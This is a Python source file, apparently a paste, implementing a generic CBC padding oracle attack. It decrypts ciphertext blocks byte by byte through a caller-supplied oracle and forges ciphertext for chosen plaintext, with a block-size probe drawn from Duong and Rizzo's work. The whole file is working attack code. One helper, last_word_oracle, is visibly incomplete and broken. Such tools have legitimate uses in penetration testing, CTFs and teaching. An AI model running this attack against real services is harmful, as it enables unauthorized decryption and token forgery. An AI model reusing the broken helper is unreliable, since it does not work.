padd0r.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346
  1. #!/usr/bin/python
  2. from base64 import b64encode, b64decode
  3. from copy import deepcopy
  4. import logging
  5. import random
  6. from functools import reduce
  7. class Encoding:
  8. ''' Encoding Enum '''
  9. b64 = 1
  10. b64_web = 2
  11. hex = 3
  12. raw = 5
  13. class PaddingOracle(object):
  14. '''
  15. Generic code to attack padding oracles
  16. '''
  17. def __init__(self, ciphertext, BS=None, verbosity=1, encoding=Encoding.b64, oracle=None):
  18. # setup logging - default
  19. self.set_verbosity(verbosity)
  20. # init class variables
  21. self.encoding = encoding
  22. self.oracle_func = oracle
  23. self.analyse_func = None
  24. # encode the initial ciphertext
  25. self.ct = self.decode(ciphertext)
  26. # if no BS is give, determine the BS
  27. if BS == None:
  28. self.BS = self.get_blocksize(self.ct)
  29. else:
  30. self.BS = BS
  31. self.num_blocks = self._ct_init()
  32. self.blocks = self.split_blocks(self.ct)
  33. self._outmode = "hex"
  34. # backup it_blocks and pt_blocks as dict {index:block} - for changing blocks
  35. self.it_blocks = {}
  36. self.pt_blocks = {}
  37. '''
  38. Used to decode the ciphertext, using the class variable self.encoding,
  39. internally the ciphertext is processed as string (bytes)
  40. '''
  41. def decode(self, ciphertext):
  42. if self.encoding == Encoding.b64:
  43. ciphertext = b64decode(ciphertext)
  44. elif self.encoding == Encoding.hex:
  45. ciphertext = ciphertext.decode('hex')
  46. elif self.encoding == Encoding.b64_web:
  47. ciphertext = b64decode(ciphertext) #TODO: adjust to b64web_decoding
  48. return ciphertext
  49. '''
  50. Used to encode the ciphertext, using the class variable self.encoding,
  51. internally the ciphertext is processed as string (bytes) but returned
  52. in the same fashion as the input was
  53. '''
  54. def encode(self, ciphertext):
  55. if self.encoding == Encoding.b64:
  56. ciphertext = b64encode(ciphertext)
  57. elif self.encoding == Encoding.hex:
  58. ciphertext = ciphertext.encode('hex')
  59. elif self.encoding == Encoding.b64_web:
  60. ciphertext = b64encode(ciphertext) #TODO: adjust to b64web_decoding
  61. return ciphertext
  62. '''
  63. simple length checks and blockcount
  64. '''
  65. def _ct_init(self):
  66. if len(self.ct) % self.BS != 0:
  67. raise Exception("[-] Length not a multiple of the BS")
  68. return len(self.ct) / self.BS
  69. '''
  70. splits the ciphertext in bs-large blocks
  71. '''
  72. def split_blocks(self, ct):
  73. return [bytearray(ct[i:i+self.BS]) for i in range(0, len(ct), self.BS)]
  74. '''
  75. merges the blocks together and return ciphertext
  76. '''
  77. def merge_blocks(self, blocks):
  78. out = bytearray()
  79. for ba in blocks:
  80. out.extend(ba)
  81. return out
  82. def last_word_oracle(self, y):
  83. r = [chr(random.randint(0x00, 0xff)) for i in range(self.BS)]
  84. r_b = r[-1]
  85. for i in range(256):
  86. r[-1] = chr(ord(r_b) ^ i)
  87. y = ''.join(r)
  88. # ask the oracle
  89. if self.oracle_func(r + y):
  90. # padding is 0x01
  91. r_b = r_b ^ i
  92. # for n = b down to 2
  93. for n in range(self.BS, 1, -1):
  94. r = r[self.BS-n] * r[self.BS-2]
  95. '''
  96. bool oracle(ct) - should return True if ct is correct and False if padding error
  97. '''
  98. def crack_last_block(self, blocks):
  99. orig_blocks = deepcopy(blocks) # deepcopy for not referencing lists...
  100. pt_block = [0]*self.BS # plaintext block
  101. it_block = [0]*self.BS # intermidiate block
  102. orig_pre_ct = orig_blocks[-2]
  103. # only assigning the lists will reference to the original blocks-list!!
  104. pre_ct = blocks[-2] # second to last ct block - gets modified
  105. last_ct = blocks[-1] # last ct block
  106. real_padding = self.BS
  107. first_run = True
  108. # byte_index is counting backwards in the second-to-last block
  109. for byte_index in range(self.BS-1, -1, -1):
  110. padding = self.BS - byte_index
  111. # gets jumped over during the first run
  112. if byte_index < 15:
  113. for prev_byte_index in range(15, byte_index, -1):
  114. #print("[-] Adjusting byte @ offset %d [Padding: %x]" % (prev_byte_index, padding))
  115. pre_ct[prev_byte_index] = it_block[prev_byte_index] ^ padding
  116. for guess in range(256):
  117. # iterate the bytes @ byte_index position
  118. pre_ct[byte_index] = guess
  119. # ask the oracle
  120. #if oracle(merge_blocks(blocks)) and orig_pre_ct[byte_index] != guess:
  121. if self.oracle_func == None:
  122. raise Exception("[-] No Oracle function set!")
  123. if self.oracle_func(self.merge_blocks(blocks)):
  124. if guess == orig_pre_ct[byte_index] and padding < real_padding:
  125. continue
  126. pt_block[byte_index] = guess ^ padding ^ orig_pre_ct[byte_index]
  127. if first_run:
  128. real_padding = pt_block[byte_index]
  129. print('')
  130. first_run = False
  131. it_block[byte_index] = guess ^ padding
  132. logging.debug("[~] correct padding [{0}] with byte [{1}]\n\t-> it_byte = {0} ^ {1} = {3}\n\t-> pt_byte = it_byte ^ {2} = {4}\n".format(hex(padding),\
  133. hex(guess), hex(orig_pre_ct[byte_index]), hex(it_block[byte_index]),hex(pt_block[byte_index])))
  134. logging.debug("[+] Plaintext Block: {}".format(pt_block))
  135. break
  136. return it_block, pt_block
  137. '''
  138. used to print the ct blocks as hexdump
  139. '''
  140. def print_ct_blocks(self):
  141. print("[~] ciphertext as blockwise hexdump")
  142. ch_arr = self.bytes_to_string(reduce(lambda x, y: x+y, [list(ba) for ba in self.blocks]))
  143. print(self.hexdump(ch_arr, length=self.BS))
  144. '''
  145. convert a byte-list to a string
  146. '''
  147. def bytes_to_string(self, inp):
  148. return "".join([chr(p) for p in inp])
  149. '''
  150. change block @ index to a new block
  151. '''
  152. def change_block(self, new_plaintext):
  153. if len(new_plaintext) % self.BS != 0:
  154. raise Exception("[-] new plaintext should be a multiple of the blocksize")
  155. # Startin at Block 2 (index 1)
  156. new_blocks = self.split_blocks(new_plaintext)
  157. num_new_blocks = len(new_blocks)
  158. local_blocks = deepcopy(self.blocks)
  159. local_it_blocks = deepcopy(self.it_blocks)
  160. if num_new_blocks > len(local_blocks):
  161. raise Exception("[-] Plaintext is too long")
  162. for idx in range(num_new_blocks-1, 0, -1):
  163. logging.info("[*] changing index %d" % idx)
  164. it_block = self.get_it_block(idx, local_blocks)
  165. local_blocks[idx-1] = ''.join(map(lambda xy: chr(xy[0]^xy[1]), zip(new_blocks[idx], it_block)))
  166. x = self.merge_blocks(local_blocks)
  167. # adjust all the previous blocks (iv block_0 = IV, the complete message can be changed)
  168. return self.encode(x)
  169. '''
  170. used to crack the block @ index
  171. index := {0, 1, .., .., len-1}
  172. '''
  173. def get_it_block(self, index, ct_blocks):
  174. if not index:
  175. raise Exception("[-] Cannot decrypt the first block")
  176. local_blocks = deepcopy(ct_blocks)
  177. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  178. return it_block
  179. '''
  180. used to crack the block @ index
  181. index := {0, 1, .., .., len-1}
  182. '''
  183. def crack_block(self, index):
  184. if not index:
  185. raise Exception("[-] Cannot decrypt the first block")
  186. local_blocks = deepcopy(self.blocks)
  187. it_block, pt_block = self.crack_last_block(local_blocks[:index+1])
  188. self.it_blocks[index] = it_block
  189. self.pt_blocks[index] = pt_block
  190. logging.info("\n[+] decrypted block [%d]\n" %(index))
  191. self._output(pt_block)
  192. '''
  193. universal func. to output plaintext
  194. '''
  195. def _output(self, pt_block):
  196. print("-----[ Plaintext ]-----")
  197. if self._outmode == "hex":
  198. print(self.hexdump(self.bytes_to_string(pt_block)))
  199. elif self._outmode == "str":
  200. print(self.bytes_to_string(pt_block))
  201. '''
  202. set the output mode for printing the plaintext
  203. '''
  204. def set_output(self, mode):
  205. self._outmode = mode
  206. '''
  207. verbosity for different output
  208. 0 = no output
  209. 1 = INFO
  210. 2 = DEBUG
  211. '''
  212. def set_verbosity(self, level):
  213. levels = {
  214. 0:logging.WARNING,
  215. 1:logging.INFO,
  216. 2:logging.DEBUG
  217. }
  218. logging.basicConfig(format='%(message)s', level=levels.get(level, logging.INFO))
  219. '''
  220. crack all blocks of the ciphertext (except first one)
  221. '''
  222. def decrypt_all_blocks(self):
  223. orig_blocks = deepcopy(self.blocks)
  224. local_blocks = deepcopy(self.blocks)
  225. num_blocks = len(self.blocks)
  226. pt_blocks = []
  227. logging.info("[*] decrypting all %d blocks" % num_blocks)
  228. for idx in range(num_blocks, 1, -1):
  229. logging.info("\n-----[ decrypting block %d ]-----\n" %(idx))
  230. it_block, pt_block = self.crack_last_block(local_blocks[:idx])
  231. pt_blocks.append(pt_block)
  232. local_blocks = deepcopy(orig_blocks)
  233. self.it_blocks[idx-1] = it_block
  234. self.pt_blocks[idx-1] = pt_block
  235. pt_blocks = pt_blocks[::-1]
  236. pt = reduce(lambda x, y: x+y, pt_blocks)
  237. logging.info("\n[+] decrypted all the blocks\n")
  238. self._output(pt)
  239. '''
  240. get the blocksize via the oracle - described in 'Practical Padding Oracle Attacks', by T. Duong & J. Rizzo
  241. Works like following:
  242. '''
  243. def get_blocksize(self, ciphertext):
  244. if self.oracle_func == None:
  245. raise Exception('Error: Not oracle set!')
  246. if len(ciphertext) % 16 == 8:
  247. return 8
  248. c = ciphertext[-16:]
  249. if self.oracle_func(ciphertext + c) == True:
  250. return 8
  251. return 16
  252. def hexdump(self, src, length=16):
  253. ''' https://gist.github.com/sbz/1080258 '''
  254. src = str(src)
  255. FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
  256. lines = []
  257. for c in range(0, len(src), length):
  258. chars = src[c:c+length]
  259. hex = ' '.join(["%02x" % ord(x) for x in chars])
  260. printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
  261. lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
  262. return ''.join(lines)